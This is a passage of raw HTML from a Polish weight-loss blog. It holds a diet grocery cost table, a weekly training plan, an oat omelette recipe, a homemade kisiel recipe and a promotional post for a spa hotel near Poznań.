<tr style="height: 19px;"><td data-sheets-value="{"1":2,"2":"Ryż Paraboiled "}" style="border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: bottom;">Ryż Paraboiled </td><td data-sheets-value="{"1":3,"3":130}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">130</td><td data-sheets-value="{"1":2,"2":"2,15 za 400 g "}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">2,15 za 400 g </td><td data-sheets-value="{"1":3,"3":0.69}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">0,69</td></tr>
<tr style="height: 19px;"><td data-sheets-value="{"1":2,"2":"Kasza jaglana "}" style="border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: bottom;">Kasza jaglana </td><td data-sheets-value="{"1":3,"3":460}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">460</td><td data-sheets-value="{"1":2,"2":"1,99 za 400 g"}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">1,99 za 400 g</td><td data-sheets-value="{"1":3,"3":2.28}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">2,28</td></tr>
<tr style="height: 19px;"><td data-sheets-value="{"1":2,"2":"Kasza jęczmienna"}" style="border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: bottom;">Kasza jęczmienna</td><td data-sheets-value="{"1":3,"3":260}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">260</td><td data-sheets-value="{"1":2,"2":"3,99 za 400g"}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">3,99 za 400g</td><td data-sheets-value="{"1":3,"3":2.59}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">2,59</td></tr>
<tr style="height: 19px;"><td data-sheets-value="{"1":2,"2":"Płatki jaglane"}" style="border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: bottom;">Płatki jaglane</td><td data-sheets-value="{"1":3,"3":140}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">140</td><td data-sheets-value="{"1":2,"2":"1,95 za 500 g"}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">1,95 za 500 g</td><td data-sheets-value="{"1":3,"3":0.54}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">0,54</td></tr>
<tr style="height: 19px;"><td style="overflow: hidden; padding: 0px 3px 0px 3px; vertical-align: bottom;"></td><td style="overflow: hidden; padding: 0px 3px 0px 3px; vertical-align: middle;"></td><td style="overflow: hidden; padding: 0px 3px 0px 3px; vertical-align: middle;"></td><td data-sheets-numberformat="{"1":4,"2":"#,##0.00\"zł\"","3":1}" data-sheets-value="{"1":3,"3":398.96}" style="font-family: Arial; font-weight: bold; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">398,96zł</td></tr>
<tr style="height: 19px;"><td style="overflow: hidden; padding: 0px 3px 0px 3px; vertical-align: bottom;"></td><td style="overflow: hidden; padding: 0px 3px 0px 3px; vertical-align: middle;"></td><td style="overflow: hidden; padding: 0px 3px 0px 3px; vertical-align: middle;"></td><td style="overflow: hidden; padding: 0px 3px 0px 3px; vertical-align: middle;"></td></tr>
<tr style="height: 19px;"><td style="overflow: hidden; padding: 0px 3px 0px 3px; vertical-align: bottom;"></td><td style="overflow: hidden; padding: 0px 3px 0px 3px; vertical-align: middle;"></td><td style="overflow: hidden; padding: 0px 3px 0px 3px; vertical-align: middle;"></td><td style="overflow: hidden; padding: 0px 3px 0px 3px; vertical-align: middle;"></td></tr>
</tbody></table>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
* gramatura produktów w danym planie zależy od naszej wagi, wyglądu sylwetki i obecnego planu.</div>
<div style="text-align: justify;">
** wyliczenia są na podstawie tylko takiej ilości produktu jakie zużywamy w danej chwili, fakt trzeba kupić i tak paczkę ryżu, czy worek płatów itp ale biorąc pod uwagę, że dieta trwa dłużej niż miesiąc i tak te produkty będziemy zużywać.</div>
<div style="text-align: justify;">
*** ceny porduktów sezonowych jak warzywa i owoce mogą się różnić w poszczególnych miastach.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Resumując biorąc najtańszy plan z <a href="http://www.fabrykasily.pl/plany_treningowe?poleca=wojciech9484677">Fabryki Siły</a> przybliżone miesięczne koszty to 69,99 zł za plan diety (opłata stała) + około 400 zł co miesiąc na jedzenie w przypadku kaloryczności zbliżonej do 3400 kcal.<br />
<br />
Z naszych doświaczeń wynika, że dieta jest dużo tańsza niż kupowanie byle czego bez planu i plusem jest to, że nie marnujemy jedzenia.<br />
<br />
<div style="text-align: center;">
<a href="https://www.fabrykasily.pl/plany_treningowe?poleca=wojciech9484677" target="_blank"><img alt="Fabryka Siły - Plany treningowe i dietetyczne" src="https://www.fabrykasily.pl/portal/img/bnrs-pp/300250.jpg" /></a></div>
</div>
<div style="text-align: justify;">
<br /></div>
Zrzuć Brzuch!!!http://www.blogger.com/profile/12698801616736812386noreply@blogger.com29tag:blogger.com,1999:blog-3244685852680001953.post-88677027896881962962018-08-08T08:53:00.002+02:002018-08-08T11:54:14.192+02:00Jaki trening wybrać podczas odchudzania ? <div style="text-align: justify;">
Skuteczne odchudzanie to przede wszystkim zbilansowana dieta i trening. O ile o diecie pisałem Wam w poprzednich postach to dzisiaj chciałbym się skupić na treningu. Oczywiście możliwe jest redukowanie wagi bez treningu jednak znacznie lepsze efekty osiągniemy łącząc dietę z treningiem. </div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Każdemu z nas zależy na tym by organizm był bardzo sprawny dlatego najlepszym rozwiązaniem będzie połączenie kilku dziedzin treningów tak by wzmacniać zarówno mięśnie jak i kondycję oraz przy okazji gubić zbędne kilogramy. </div>
<div style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://4.bp.blogspot.com/-aCvLqmZLciA/W2qRVbGCE3I/AAAAAAAADsQ/K3zkqVlh2J4afXgeHUSXx1wjgNyN4zr4QCLcBGAs/s1600/Lunges-800x450.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="450" data-original-width="800" height="225" src="https://4.bp.blogspot.com/-aCvLqmZLciA/W2qRVbGCE3I/AAAAAAAADsQ/K3zkqVlh2J4afXgeHUSXx1wjgNyN4zr4QCLcBGAs/s400/Lunges-800x450.jpg" width="400" /></a></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Najskuteczniejszym połączeniem moim zdaniem jest łączenie treningu siłowego z wytrzymałościowym i takie też rozwiązanie sprawdziło się w moim przypadku. Możemy łączyć takie trening jednego dnia i na przykład przed treningiem siłowym wykonać parę serii tabaty, albo intensywnie pobiegać na bieżni lub robić wytrzymałościowe treningi w inne dni. Dobrym rozwiązaniem jeśli chodzi o naprawdę konkretny wycisk są wszystkie sporty walki które są kontaktowe czyli na przykład kickboxing, karate, boks itp. </div>
<div style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://1.bp.blogspot.com/-AqZcaNhUHBo/W2qRFL6t-qI/AAAAAAAADsI/LHQOXr7c1YMByDkx1EJ9QzNYzMzs6jVVACLcBGAs/s1600/brooks_glycerin_15_running.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="270" data-original-width="480" height="225" src="https://1.bp.blogspot.com/-AqZcaNhUHBo/W2qRFL6t-qI/AAAAAAAADsI/LHQOXr7c1YMByDkx1EJ9QzNYzMzs6jVVACLcBGAs/s400/brooks_glycerin_15_running.jpg" width="400" /></a></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Początkujące osoby mogą mieć problemy z łączeniem dwóch rodzajów aktywności w ciągu jednego dnia dlatego lepiej sobie to podzielić. Ciężko będzie kondycyjnie po bieganiu robić bezpośrednio trening siłowy dlatego lepsze rozwiązanie to podzielić treningi w ten sposób :</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: center;">
<b>1 dzień</b> - trening siłowy (20 min rozgrzewki - rowerek, bieżnia, skakanka itp) + 40 min do 90 min właściwego treningu siłowego. </div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
<b>2 dzień</b> - trening wytrzymałościowy - bieganie, skakanka , rower - minimum 40 min (oczywiście poprzedzone rozgrzewką </div>
<div style="text-align: center;">
<b><br /></b></div>
<div style="text-align: center;">
<b>3 dzień</b> - odpoczynek </div>
<div style="text-align: center;">
<b><br /></b></div>
<div style="text-align: center;">
<b>4 dzień</b> - trening siłowy (20 min rozgrzewki - rowerek, bieżnia, skakanka itp) + 40 min do 90 min właściwego treningu siłowego.</div>
<div style="text-align: center;">
<b><br /></b></div>
<div style="text-align: center;">
<b>5 dzień</b> - trening wytrzymałościowy - bieganie, skakanka , rower - minimum 40 min (oczywiście poprzedzone rozgrzewką </div>
<div style="text-align: center;">
<b><br /></b></div>
<div style="text-align: center;">
<b>6 dzień</b> - odpoczynek</div>
<div style="text-align: center;">
<b><br /></b></div>
<div style="text-align: center;">
<b>7 dzień</b> - odpoczynek</div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: justify;">
Oczywiście jeśli uważamy, że to jest za mało to śmiało możemy zwiększać ilość dni treningowych, ale uwaga odpoczynek też jest równie ważny dlatego musimy przeznaczyć na niego przynajmniej <b>1 dzień</b> w tygodniu. </div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Jeśli chodzi o sam wybór ćwiczeń na trening siłowy czy rodzaj aktywności jeśli chodzi o trening wytrzymałościowy to mamy dowolność. Dobrym rozwiązaniem będzie na początku przetestować kilka planów treningowych i wybrać odpowiedni dla nas taki, który nam najbardziej leży. Inspiracji możemy szukać w internecie na przykład na branżowych stronach internetowych albo blogach o zdrowym stylu życia jak zaprzyjaźniony <a href="http://www.blogowypamietnik.pl/">blogowypamietnik</a> znajdziecie tutaj mnóstwo porad zarówno odnośnie treningu jak i odżywiania czy suplementacji. Wystarczy tylko odrobina czasu i chęci i możemy zaczynać swoją przemianę :) </div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<br /></div>
Zrzuć Brzuch!!!http://www.blogger.com/profile/12698801616736812386noreply@blogger.com3tag:blogger.com,1999:blog-3244685852680001953.post-70642928054774295142018-08-03T09:04:00.000+02:002018-08-03T09:04:07.458+02:00Owsiany omlet z bananem i suszonymi śliwkami <div style="text-align: center;">
Dzisiaj przepis na super śniadanie czyli Owsiany omlet z bananem i suszonymi śliwkami :) </div>
<div style="text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://1.bp.blogspot.com/-0H8t2QnQPs4/W2P9BMCv1xI/AAAAAAAADr8/RNypbRrhRqs2ynrNdsC3exD_6Uk6aGGaQCLcBGAs/s1600/20180803_072550.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1200" data-original-width="1600" height="300" src="https://1.bp.blogspot.com/-0H8t2QnQPs4/W2P9BMCv1xI/AAAAAAAADr8/RNypbRrhRqs2ynrNdsC3exD_6Uk6aGGaQCLcBGAs/s400/20180803_072550.jpg" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<b>Makrosy : </b></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<ul style="-webkit-font-smoothing: antialiased; background: rgb(255, 255, 255); border: 0px; box-sizing: border-box; color: #4d4d4d; font-family: EncodeSansCondenseRegular, Arial, sans-serif; font-size: 16px; list-style: none; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">
<li style="-webkit-font-smoothing: antialiased; background: transparent; border: 0px; box-sizing: border-box; line-height: 24px; margin: 0px; outline: 0px; padding: 0px; text-align: center; vertical-align: baseline;">Energia: 676 kcal</li>
<li style="-webkit-font-smoothing: antialiased; background: transparent; border: 0px; box-sizing: border-box; line-height: 24px; margin: 0px; outline: 0px; padding: 0px; text-align: center; vertical-align: baseline;">Białko: 25 g</li>
<li style="-webkit-font-smoothing: antialiased; background: transparent; border: 0px; box-sizing: border-box; line-height: 24px; margin: 0px; outline: 0px; padding: 0px; text-align: center; vertical-align: baseline;">Tłuszcz: 23 g</li>
<li style="-webkit-font-smoothing: antialiased; background: transparent; border: 0px; box-sizing: border-box; line-height: 24px; margin: 0px; outline: 0px; padding: 0px; text-align: center; vertical-align: baseline;">Węglowodany: 90 g</li>
</ul>
<div style="text-align: center;">
<span style="color: #4d4d4d; font-family: EncodeSansCondenseRegular, Arial, sans-serif;"><br /></span></div>
<div style="text-align: center;">
<b>Składniki : </b></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<ul style="-webkit-font-smoothing: antialiased; background: rgb(255, 255, 255); border: 0px; box-sizing: border-box; color: #4d4d4d; font-family: EncodeSansCondenseRegular, Arial, sans-serif; font-size: 16px; list-style: none; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">
<li style="-webkit-font-smoothing: antialiased; background: transparent; border: 0px; box-sizing: border-box; line-height: 24px; margin: 0px; outline: 0px; padding: 0px; text-align: center; vertical-align: baseline;">Płatki owsiane - 5,5 łyżki (50 g)</li>
<li style="-webkit-font-smoothing: antialiased; background: transparent; border: 0px; box-sizing: border-box; line-height: 24px; margin: 0px; outline: 0px; padding: 0px; text-align: center; vertical-align: baseline;">Jaja - 2 duże (110 g)</li>
<li style="-webkit-font-smoothing: antialiased; background: transparent; border: 0px; box-sizing: border-box; line-height: 24px; margin: 0px; outline: 0px; padding: 0px; text-align: center; vertical-align: baseline;">Banan - 2 średnie sztuki (275 g)</li>
<li style="-webkit-font-smoothing: antialiased; background: transparent; border: 0px; box-sizing: border-box; line-height: 24px; margin: 0px; outline: 0px; padding: 0px; text-align: center; vertical-align: baseline;">Oliwa z oliwek - 1 łyżka (7 g)</li>
<li style="-webkit-font-smoothing: antialiased; background: transparent; border: 0px; box-sizing: border-box; line-height: 24px; margin: 0px; outline: 0px; padding: 0px; text-align: center; vertical-align: baseline;">Suszone śliwki - 0,25 garści (25 g)</li>
<li style="-webkit-font-smoothing: antialiased; background: transparent; border: 0px; box-sizing: border-box; line-height: 24px; margin: 0px; outline: 0px; padding: 0px; text-align: center; vertical-align: baseline;">Jogurt naturalny 2% - 0,25 szklanki (60 g)</li>
<li style="-webkit-font-smoothing: antialiased; background: transparent; border: 0px; box-sizing: border-box; line-height: 24px; margin: 0px; outline: 0px; padding: 0px; text-align: center; vertical-align: baseline;">Syrop daktylowy bez cukru </li>
</ul>
<div style="text-align: center;">
<span style="color: #4d4d4d; font-family: EncodeSansCondenseRegular, Arial, sans-serif;"><br /></span></div>
<div style="text-align: center;">
<b>Przygotowanie : </b></div>
<div style="text-align: center;">
<b><br /></b></div>
<div style="text-align: justify;">
<span style="background-color: white; color: #4d4d4d; font-family: EncodeSansCondenseRegular, Arial, sans-serif; font-size: 16px;">Jajka ubijamy w talerzu razem z płatkami owsianymi, następnie smażymy na oliwie. Banany kroimiy wzdłuż i układamy naprzemian na omlecie. Następnie polewamy jogurtem i dodajemy suszone śliwki pocięte w drobniejsze kawałki. Na koniec posypujemy cynamonem i polewamy syropem daktylowym :) </span></div>
<div style="text-align: center;">
<span style="background-color: white; color: #4d4d4d; font-family: EncodeSansCondenseRegular, Arial, sans-serif; font-size: 16px;"><br /></span></div>
<div style="text-align: center;">
<span style="background-color: white; color: #4d4d4d; font-family: EncodeSansCondenseRegular, Arial, sans-serif; font-size: 16px;">Pychaa!</span></div>
<div style="text-align: center;">
<br /></div>
Zrzuć Brzuch!!!http://www.blogger.com/profile/12698801616736812386noreply@blogger.com4tag:blogger.com,1999:blog-3244685852680001953.post-38973604259668986492018-07-19T14:22:00.000+02:002018-07-19T14:22:24.578+02:00Kisiel wisniowo - truskawkowy własnej roboty <div style="text-align: justify;">
Dzisiaj mamy dla Was przepis na kisiel wiśniowo - truskawkowy. Nie będzie to wersja sklepowa z woreczka tylko w 100% własna domowa robota :) Smakuje naprawdę wyśmienicie i jest bardzo fajną formą deseru.</div>
<div style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://4.bp.blogspot.com/-OA5OSo8gTt0/W1CA-EwdqXI/AAAAAAAADrk/Y2iihP1-pPQI28qrEnreE7ExdVndpNGRgCLcBGAs/s1600/20180622_205528.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1600" data-original-width="1200" height="320" src="https://4.bp.blogspot.com/-OA5OSo8gTt0/W1CA-EwdqXI/AAAAAAAADrk/Y2iihP1-pPQI28qrEnreE7ExdVndpNGRgCLcBGAs/s320/20180622_205528.jpg" width="240" /></a></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: center;">
<b>Składniki :</b></div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
100 g wiśni </div>
<div style="text-align: center;">
40 g truskawek</div>
<div style="text-align: center;">
1 szklanka wody</div>
<div style="text-align: center;">
1 szklanka czerwonego wina </div>
<div style="text-align: center;">
2 łyżki ksylitolu </div>
<div style="text-align: center;">
4 łyżki mąki ziemniaczanej </div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
<b>Przygotowanie :</b></div>
<div style="text-align: center;">
<b><br /></b></div>
<div style="text-align: center;">
Owoce gotujemy w wodzie i winie z dodatkiem ksylitolu przez 15 min. Mąkę ziemniaczaną rozpuszczamy w odrobinie wody i dodajemy do gotującego się kislu. </div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
Smacznego :)</div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
<br /></div>
Zrzuć Brzuch!!!http://www.blogger.com/profile/12698801616736812386noreply@blogger.com5tag:blogger.com,1999:blog-3244685852680001953.post-23499330357509257012018-07-10T10:28:00.002+02:002018-07-10T10:29:48.154+02:00Zadbaj o siebie - wybierz hotel Spa w okolicy Poznania<div class="MsoNormal" style="line-height: normal; margin-bottom: 3.0pt; text-align: justify;">
<span style="font-family: "arial" , sans-serif;">Osoby które pragną zaznać przyjemności medical Spa w Wielkopolsce mogą
znaleźć wśród jej malowniczych zakątków miejsce idealne dla siebie. Hotele w
bliższej i dalszej okolicy Poznania zapewniają kompleksowe usługi, dzięki
którym można skutecznie poprawić sylwetkę, zdrowie i urodę. Jednym z
najciekawszych miejsc, które warto odwiedzić dla skorzystania z przyjemności
medical Spa, jest wysokiej klasy </span><a href="http://www.hotelbarczyzna.pl/">Hotel Barczyzna </a><span style="font-family: "arial" , sans-serif;"> zlokalizowany w Nekli koło miejscowości
Września.</span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<br /></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<div style="text-align: center;">
<span style="color: #434343; font-family: "arial" , sans-serif; font-size: 14pt; text-align: justify;">Hotele w okolicy
Poznania - idealne na weekend</span></div>
</div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<span style="color: #434343; font-family: "arial" , sans-serif; font-size: 14pt; text-align: justify;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://4.bp.blogspot.com/-HEjaL66PczY/W0Rt_pQbFqI/AAAAAAAADq8/OdNYsSulzh0aiB7LlOb0nQj_zb49EMeDACLcBGAs/s1600/hotel%2Bbarczyzna%2Bfoto2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="528" data-original-width="788" height="267" src="https://4.bp.blogspot.com/-HEjaL66PczY/W0Rt_pQbFqI/AAAAAAAADq8/OdNYsSulzh0aiB7LlOb0nQj_zb49EMeDACLcBGAs/s400/hotel%2Bbarczyzna%2Bfoto2.jpg" width="400" /></a></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 4.0pt; margin-left: 0cm; margin-right: 0cm; margin-top: 16.0pt; mso-outline-level: 3; text-align: justify;">
<span style="font-family: "arial" , sans-serif;">Bliskość lasów oraz niesamowita przestrzeń sprawiają, że hotele w okolicy
Poznania znacznie zyskują na atrakcyjności. Prawdziwy spokój i relaks jakie
można znaleźć w Hotelu Barczyzna docenią w szczególności amatorzy przyjemnych
dni w Spa, pełnych rytuałów pielęgnacyjnych, masaży relaksacyjnych, zabiegów
pielęgnacyjnych na ciało, twarz, dłonie i stopy, czy też fani zabiegów z
zakresu kosmetyki różnego rodzaju. Dzięki bogatej ofercie jaką przedstawia
przyjezdnym ten obiekt, każdy czuje się tutaj doskonale i jest urzeczony
klimatem miejsca, bliskością natury, czystym powietrzem oraz swobodą. Sam hotel
urządzony jest w sposób minimalistyczny i elegancki, a każdy element designu
wpływa niezwykle korzystnie na samopoczucie przybyłych gości. Hotel Barczyzna
Medical Spa to niezwykłe miejsce, które pozwala w sercu Wielkopolski nacieszyć
się licznymi rytuałami piękna i zabiegami fizjoterapeutycznymi. Do ciekawych
możliwości jakie oferuje obiekt należy nowoczesny trening obwodowy Milon, a
także komfortowy basen, trzy sauny oraz atrakcje rozrywkowe jak bowling –
idealny sposób na aktywne spędzenie wieczoru po dniu pełnym prozdrowotnych
zabiegów. Narzekać nie mogą również miłośnicy doznań dla podniebienia, bowiem
hotelowa restauracja serwuje doskonałe smaki z których słynie Wielkopolska, a
które goście mogą poznawać w kreatywnych wydaniach znanych dań.</span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 12.0pt;">
<span style="color: #434343; font-family: "arial" , sans-serif; font-size: 14pt; text-align: justify;"><br /></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 12.0pt;">
<div style="text-align: center;">
<span style="color: #434343; font-family: "arial" , sans-serif; font-size: 14pt; text-align: justify;">Doskonały wybór na
odchudzanie i regenerację</span></div>
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://1.bp.blogspot.com/-RFaClqetpws/W0RuFGc66RI/AAAAAAAADrA/pSk_4UJOtXsDB6HuZ_W2bLYWp219yHCtQCLcBGAs/s1600/hotel%2Bbarczyzna%2Bfoto3.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="528" data-original-width="788" height="267" src="https://1.bp.blogspot.com/-RFaClqetpws/W0RuFGc66RI/AAAAAAAADrA/pSk_4UJOtXsDB6HuZ_W2bLYWp219yHCtQCLcBGAs/s400/hotel%2Bbarczyzna%2Bfoto3.jpg" width="400" /></a></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 12.0pt;">
<br /></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm; text-align: justify;">
<span style="font-family: "arial" , sans-serif;">Medical Spa jest świetnym pomysłem na całościową odnowę lub rehabilitację,
dlatego warto zapoznać się z kompleksową ofertą pakietów dostosowanych dla
naszych indywidualnych potrzeb. Hotel Barczyzna zapewnia szereg możliwości w
tym zakresie i każdy z pewnością będzie mógł wybrać idealny pobyt dla siebie.
Tygodniowy pobyt w ramach przykładowej oferty to 6 noclegów w pokojach o
wysokim standardzie, wyśmienite śniadania i obiadokolacje z daniami autorstwa
szefa kuchni oraz fachowe konsultacje fizjoterapeutyczne, pozwalające dobrać
najodpowiedniejsze zabiegi w programie terapii. Ważnym elementem pakietu jest
również diagnostyka SCIO Biofeedback, która pozwala na zbadanie organizmu pod
kątem stresu. Dzięki wykorzystaniu tej metody można przeprowadzić maksymalnie
efektywny proces odnowy ciała i uzyskania optymalnego stanu zdrowia. Dzięki
innowacjom w medical Spa każdy kuracjusz może zrównoważyć pracę całego
organizmu, zaznać ulgi od stresu, wesprzeć niwelowanie przyczyn wielu chorób i
zaburzeń, a także stymulować procesy odchudzania. Goście w ramach kuracyjnego
pakietu zyskują również różne terapeutyczne zabiegi, np. masaże, terapie
manualne czy kinezyterapię, a także bierze udział w ćwiczeniach w wodzie, które
pomagają rozluźnić napięcia, wyszczuplić sylwetkę i poprawić kondycję stawów. </span><span style="font-family: "times new roman" , "serif"; font-size: 12.0pt;"><o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<br /></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 4.0pt; margin-left: 0cm; margin-right: 0cm; margin-top: 16.0pt; mso-outline-level: 3; text-align: justify;">
<div style="text-align: center;">
<span style="color: #434343; font-family: "arial" , "sans-serif"; font-size: 14.0pt;">Skorzystaj ze
zbawiennego wpływu Spa</span><b><span style="font-family: "times new roman" , "serif"; font-size: 13.5pt;"><o:p></o:p></span></b></div>
</div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 4.0pt; margin-left: 0cm; margin-right: 0cm; margin-top: 16.0pt; mso-outline-level: 3; text-align: justify;">
<span style="color: #434343; font-family: "arial" , "sans-serif"; font-size: 14.0pt;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://3.bp.blogspot.com/-l_MkMJisgGE/W0RuKxTCZ7I/AAAAAAAADrE/VZDF-tA2rQAP-RMJFTLlfxehI_Nrs7NtwCLcBGAs/s1600/hotel%2Bbarczyzna%2Bfoto1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="528" data-original-width="788" height="267" src="https://3.bp.blogspot.com/-l_MkMJisgGE/W0RuKxTCZ7I/AAAAAAAADrE/VZDF-tA2rQAP-RMJFTLlfxehI_Nrs7NtwCLcBGAs/s400/hotel%2Bbarczyzna%2Bfoto1.jpg" width="400" /></a></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 4.0pt; margin-left: 0cm; margin-right: 0cm; margin-top: 16.0pt; mso-outline-level: 3; text-align: justify;">
<br /></div>
<br />
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm; text-align: justify;">
<span style="font-family: "arial" , sans-serif;">Wszystkie te zalety sprawiają, że wykupienie jednego z pakietów pozwala
wprowadzić dużo pozytywnych zmian w zdrowiu i samopoczuciu. Opisaliśmy jednak
tylko namiastkę dobroczynnych zabiegów i możliwości jakie daje to medical Spa.
Każdy gość może także korzystać do woli między innymi z basenu z wodą
strukturyzowaną, a także oddać się przyjemności w suchej saunie, łaźni parowej
oraz jacuzzi. Doskonałym dodatkiem są również zabiegi z lampą kolagenową i
lampą UV, które wspaniale poprawiają kondycję skóry. To doskonałe rozwiązanie
zwłaszcza dla osób, które chcą zadbać o swoje ciało w trakcie procesu
odchudzania. Przybywając do malowniczych okolic Poznania i Wrześni, każdy
kuracjusz może cieszyć się piękną przyrodą, szeroką gamą atrakcji, a także
najwyższej klasy zabiegami w Spa.</span><span style="font-family: "times new roman" , "serif"; font-size: 12.0pt;"><o:p></o:p></span></div>
Zrzuć Brzuch!!!http://www.blogger.com/profile/12698801616736812386noreply@blogger.com6tag:blogger.com,1999:blog-3244685852680001953.post-37988711644240995102018-06-25T13:31:00.000+02:002018-06-25T13:31:01.419+02:00Jak skutecznie chudnąć i redukować wagę ? <div style="text-align: justify;">
Zarówno odchudzanie jak i redukcja prowadzi do jednego celu czyli zmniejszenia wagi naszego ciała z tą różnicą, że oba te procesy trochę się różnią i będą trochę inaczej przebiegać oraz wymagać od nas trochę innego rodzaju treningu. W obu tych przypadkach jednak dieta i trening to klucz do sukcesu. </div>
<div class="separator" style="clear: both; text-align: center;">
